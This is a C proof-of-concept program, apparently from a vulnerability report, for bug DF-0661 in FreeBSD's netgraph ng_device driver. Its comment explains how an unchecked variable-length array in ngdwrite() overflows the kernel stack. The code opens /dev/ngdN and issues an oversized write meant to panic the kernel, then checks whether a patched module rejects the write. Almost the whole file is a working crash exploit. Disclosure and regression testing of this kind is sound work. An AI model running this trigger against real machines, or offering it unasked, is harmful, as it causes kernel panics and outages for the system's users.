/*
 * DF-0661 - Kernel stack overflow via unchecked user-controlled VLA
 *           in ngdread()/ngdwrite() of netgraph ng_device.
 *
 * Trigger: open /dev/ngdN and write(fd, buf, LARGE).  ngdwrite() at
 * sys/netgraph/ng_device.c:562 materializes
 *     char buffer[uio->uio_resid];
 * on the kernel stack with uio_resid being a user-controlled size_t.
 * Since buffer is passed to uiomove() unconditionally (when len > 0),
 * GCC cannot optimize the VLA away.  A count far larger than the kernel
 * stack (2-4 fixed pages) blows the stack and faults on the stack guard
 * page -> kernel panic.
 *
 * The read path (ngdread, :509) has the same VLA but GCC -O2 may
 * optimize it away when connection->loc == 0 (buffer unused).  The write
 * path is the reliable trigger.
 *
 * Prereq (root): the ng_device netgraph node must exist and a hook must
 * be attached so ng_device_newhook() runs make_dev() to create /dev/ngdN.
 *
 * Usage: ./trigger [/dev/ngdN] [count]
 *   default dev = /dev/ngd0, count = 1<<20
 *
 * Run as root.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>

int main(int argc, char **argv)
{
    const char *devname = (argc > 1) ? argv[1] : "/dev/ngd0";
    size_t count = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0)
                              : ((size_t)1 << 20);
    char *buf;
    int fd, r;

    fprintf(stderr, "[*] DF-0661 trigger: opening %s, write count = %zu\n",
            devname, count);

    fd = open(devname, O_RDWR);
    if (fd < 0) {
        fprintf(stderr, "[!] open(%s): %s\n", devname, strerror(errno));
        fprintf(stderr, "[!] Is ng_device.ko loaded and a hook attached?\n");
        return 1;
    }
    fprintf(stderr, "[+] opened %s fd=%d\n", devname, fd);

    buf = malloc(count);
    if (!buf) {
        perror("malloc");
        close(fd);
        return 1;
    }
    memset(buf, 'A', count);

    fprintf(stderr, "[*] calling write(fd, buf, %zu) -> ngdwrite() VLA "
                    "char buffer[%zu] on kernel stack\n", count, count);
    /* This is the dangerous call: it enters ngdwrite() which materializes
     * the oversized VLA and blows the kernel stack.  We do not expect to
     * return here on a vulnerable kernel. */
    r = write(fd, buf, count);

    /* If we get here, the bug did not fire (e.g. patched module bounds-
     * checks uio_resid and returns EINVAL/EFBIG). */
    fprintf(stderr, "[+] write() returned %d (errno=%d: %s)\n",
            r, errno, strerror(errno));
    if (r < 0 && (errno == EINVAL || errno == EFBIG)) {
        fprintf(stderr, "[+] PATCHED: oversized write rejected with %s\n",
                strerror(errno));
    }

    free(buf);
    close(fd);
    return 0;
}
